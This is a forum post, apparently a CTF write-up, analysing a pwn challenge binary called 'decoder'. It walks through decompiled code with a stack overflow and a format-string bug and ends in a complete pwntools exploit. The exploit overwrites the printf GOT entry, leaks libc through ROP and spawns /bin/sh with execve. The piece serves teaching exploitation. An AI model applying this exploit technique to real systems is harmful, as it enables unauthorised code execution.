首页
社区
课程
招聘
[原创]某个PWN题目(decoder)分析
发表于: 2017-4-27 19:19 5548

[原创]某个PWN题目(decoder)分析

2017-4-27 19:19
5548

题目decoder见附件,部分反汇编后伪C代码如下:

int __cdecl main(int a1)
{
  **
  if ( read_data(0, (int)&src, 2048, 10) >= 0 )
  {
    while ( check(format) && v8 <= 10 )  //下标越界 可以造成栈溢出
    {
      ++v8;
      v2 = strlen(format);
      format = (char *)decode((int)format, v2, 0);
      snprintf(&s[2048 * v8], 0x800u, format);      //存在格式化字符串漏洞
      fflush(stdout);
    }
    for ( i = 1; i <= 9; ++i )
    {
      if ( v9[2048 * i - 20496] )
        printf("%d:%s\n", i, &s[2048 * i]);
    }
    sub_8048B00();
    result = 0;
  }
  **
}

通过观察反汇编代码发现有两个漏洞。

首先尝试栈溢出漏洞利用

思路,在对某个字符串进行11次base64加密,然后提交给漏洞程序decoder

相关代码如下:

#!/usr/bin/env python
from pwn import *
import base64
import pdb
context.log_level = 'debug'
p = process('./decoder')
elf = ELF('./decoder')
p.recvuntil('THIS IS A SIMPLE BASE64 DECODER')
str = 'aaaa'+p32(0x8048d80)+'aaaa'*10
payload=base64.b64encode(str)
for i in range(1, 10):
    payload=base64.b64encode(payload)
pdb.set_trace()
p.sendline(payload)
p.recv()
p.interactive()

进行解密时 最后一次在snprintf时  v8=10 拷贝的数据超出了s的缓冲空间,覆盖了栈里的数据

如图所示:

在程序返回的时候 ecx控制esp的值 esp控制返回地址,这里由于栈溢出导致了程序流程可以被控制

但是实际上snprintf在while循环里,在该函数溢出覆盖返回地址后,还要执行一次check函数

在check函数里  要执行一个strlen函数 ,这个函数的参数是个字符串地址  覆盖后要可读  否则报错

这里用0x8048d80覆盖 如上图所示。


本来以为到这里可以成功利用漏洞了,但是在函数开始就把esp压栈进行了保护,溢出后esp被覆盖,因为地址随机化,我们也不能有效地控制ESP来劫持程序流程,思考了很久 这个栈溢出漏洞暂时无法利用。


利用格式化字符串漏洞

因为存在格式化字符串漏洞,那么可以造成任意地址写,我们把后面的printf的got表地址覆盖就可以控制程序流程了。

我们构造格式化字符串,在进行snprintf的时候 内存数据布局如下:

可以看到 在fomate后面第9个参数 我们放的是804b010 就是printf got表地址  可以直接将其覆盖掉

在执行printf函数时内存数据布局如下:


可以看到esp离我们的可控数据区还比较远,所以得找到一个移栈的gadget

这里找到一个地址 0x8048b31如下:

将栈抬高0x48字节 这里就用0x8048b31覆盖printf got表

然后利用rop技术在栈里布置puts函数 打印出read函数地址,然后根据偏移计算得到libc的基地址

计算execve函数地址 以及'/bin/sh'字符串地址

最后返回到main函数去,重新触发漏洞

再次触发漏洞的时候 利用rop技术执行execve('/bin/sh',0,0)

可以成功得到shell

最终exp如下:

from pwn import *
from struct import pack
from base64 import b64encode
import pdb
context.log_level = 'debug'
libc = ELF('libcmy.so')
elf = ELF('decoder')
def s(d):
    return b64encode(d)
t = process('LD_PRELOAD=/root/libcmy.so ./decoder',shell=True)
t.recvline()
pay = '%%0%dc'
pay += '%%%02d$n'
d1 = pay%(0x08048b31,1)
l =  len(d1)/3 + (1 if len(d1)%3 != 0 else 0)
l += 3
payload = pay%(0x08048b31,l)
rop = ROP(elf)
rop.puts(0x0804B00C)
rop.call(0x08048B37)
t.sendline(s(payload)+"\x00"*4 + p32(0x0804B010) + 'a'*20 + str(rop))
read_addr = t.recv(4)
read_addr = u32(read_addr)
libc_addr = read_addr - libc.symbols['read']
execve = libc_addr + libc.symbols['execve']
sh = libc_addr + libc.search('/bin/sh').next()
print hex(libc_addr)
t.recvline()
t.recvuntil('THIS IS A SIMPLE BASE64 DECODER\n')
pay = '%%0%dc'
pay += '%%%02d$n'
d1 = pay%(0x08048b31,1)
l =  len(d1)/3 + (1 if len(d1)%3 != 0 else 0)
l += 3
payload = pay%(0x08048b31,l)
rop = ROP(elf)
rop.call(execve,(sh,0,0))
t.sendline(s(payload)+"\x00"*4 + p32(0x0804B010)+'a'*20 + str(rop))
t.interactive()



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 1
支持
分享
最新回复 (2)
雪    币: 65
活跃值: (545)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
2017-4-27 23:52
0
雪    币: 334
活跃值: (92)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
3
mark 
2017-6-1 21:45
0
游客
登录 | 注册 方可回帖
返回
//